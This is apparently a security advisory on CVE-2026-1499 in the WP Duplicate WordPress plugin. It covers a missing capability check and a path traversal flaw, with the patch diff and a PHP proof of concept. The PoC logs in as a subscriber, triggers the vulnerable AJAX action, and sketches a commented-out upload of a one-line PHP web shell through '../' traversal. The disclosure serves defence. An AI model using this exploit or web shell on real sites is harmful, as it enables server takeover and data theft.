Atomic Edge analysis of CVE-2026-1499:
This vulnerability in the WP Duplicate plugin (<=1.1.8) is a multi-stage flaw that allows authenticated attackers with subscriber-level access to achieve arbitrary file upload and remote code execution. The vulnerability stems from missing authorization checks and insufficient file name sanitization.
The root cause is a missing capability check in the `process_add_site()` AJAX action handler within `/local-sync/admin/class-local-sync-admin.php`. The function did not verify the user's permission level before processing the request. This allowed any authenticated user to set the internal `prod_key_random_id` option. A secondary issue existed in the `save_single_big_file()` function in `/local-sync/admin/class-local-sync-files-op.php`, where the `$file_name` parameter was not sanitized before being used to construct a file path, enabling path traversal.
Exploitation requires two stages. First, an authenticated attacker with subscriber privileges sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `process_add_site`. This request sets a malicious production key. Second, an unauthenticated attacker can then leverage the set key to call the file upload functionality, typically via `handle_upload_single_big_file()`. The attacker supplies a `file_name` parameter containing directory traversal sequences (e.g., `../../../shell.php`) to write a malicious file outside the intended backup directory.
The patch addresses both issues. In `class-local-sync-admin.php`, the `process_add_site()` function now calls `verify_ajax_requests()` and checks `current_user_can('manage_options')`, restricting the action to administrators only. In `class-local-sync-files-op.php`, the `save_single_big_file()` function now applies `sanitize_file_name($file_name)` to the input, which strips dangerous characters and prevents path traversal. The plugin version is updated to 1.1.9.
Successful exploitation leads to full remote code execution on the target WordPress server. An attacker can upload a web shell (e.g., a PHP file) to any writable directory accessible by the web server. This provides complete control over the affected site, enabling data theft, site defacement, server compromise, and use as a foothold for further network attacks. The CVSS score of 9.8 reflects the high impact and low attack complexity.
--- a/local-sync/admin/class-local-sync-admin.php
+++ b/local-sync/admin/class-local-sync-admin.php
@@ -420,6 +420,16 @@
}
public function process_add_site() {
+ $this->app_functions->verify_ajax_requests();
+
+ if(!current_user_can('manage_options')){
+ local_sync_die_with_json_encode_simple(array(
+ 'error' => 'Cannot reset site, Hash mismatched',
+ ));
+
+ return;
+ }
+
$prod_key = sanitize_text_field( $_POST['data']['prod_key'] );
$url = $this->app_functions->process_prod_key_and_set_prod_url($prod_key);
--- a/local-sync/admin/class-local-sync-files-op.php
+++ b/local-sync/admin/class-local-sync-files-op.php
@@ -840,6 +840,7 @@
public function save_single_big_file($file_name, $file_data = null, $start_range = 0, $end_range = 0) {
$current_sync_unique_id = $this->local_sync_options->get_option('current_sync_unique_id');
+ $file_name = sanitize_file_name($file_name);
$full_file_name = rtrim($this->local_sync_options->get_backup_dir(), '/') . '/' . $file_name;
$this->recursive_mk_directory_of_this_file($full_file_name);
--- a/local-sync/local-sync-constants.php
+++ b/local-sync/local-sync-constants.php
@@ -76,7 +76,7 @@
}
public function versions(){
- $this->define( 'LOCAL_SYNC_VERSION', '1.1.8' );
+ $this->define( 'LOCAL_SYNC_VERSION', '1.1.9' );
$this->define( 'LOCAL_SYNC_DATABASE_VERSION', '1.0' );
}
--- a/local-sync/local-sync.php
+++ b/local-sync/local-sync.php
@@ -11,7 +11,7 @@
* Plugin Name: WP Duplicate - WordPress Migration Plugin
* Plugin URI: https://localsync.infinitewp.com
* Description: Easily migrate your WordPress Site from one host to another.
- * Version: 1.1.8
+ * Version: 1.1.9
* Author: Revmakx
* Author URI: https://revmakx.com
* License: GPL-2.0+
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1499 - WP Duplicate <= 1.1.8 - Authenticated (Subscriber+) Arbitrary File Upload via 'process_add_site' AJAX Action
<?php
$target_url = 'http://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate as a subscriber to get a WordPress session cookie.
$login_url = $target_url . '/wp-login.php';
$cookie_jar = tempnam(sys_get_temp_dir(), 'cookie');
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Use the authenticated session to call the vulnerable AJAX action and set the prod_key.
// This step sets the internal option that will be used later to bypass authentication for the file upload.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'process_add_site',
'data' => ['prod_key' => 'malicious_key_set_by_attacker'] // This key will be used later.
]));
$response = curl_exec($ch);
curl_close($ch);
// Step 3: The file upload endpoint (likely `handle_upload_single_big_file`) can now be accessed without authentication
// using the prod_key set in step 2. The exact endpoint and parameter structure for the upload are plugin-specific
// and not fully detailed in the diff. A complete PoC would require reverse-engineering the upload flow.
// The following is a conceptual example of the second-stage request.
/*
$upload_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'handle_upload_single_big_file',
'prod_key' => 'malicious_key_set_by_attacker',
'file_name' => '../../../wp-content/uploads/shell.php', // Path traversal payload
'file_data' => base64_encode('<?php system($_GET["cmd"]); ?>')
]));
$response = curl_exec($ch);
curl_close($ch);
*/
// Due to the multi-stage nature and missing specific upload endpoint details in the provided diff,
// a fully reliable, self-contained PoC cannot be constructed without further internal plugin analysis.
echo "Proof of Concept requires internal plugin flow analysis for the second stage.n";
?>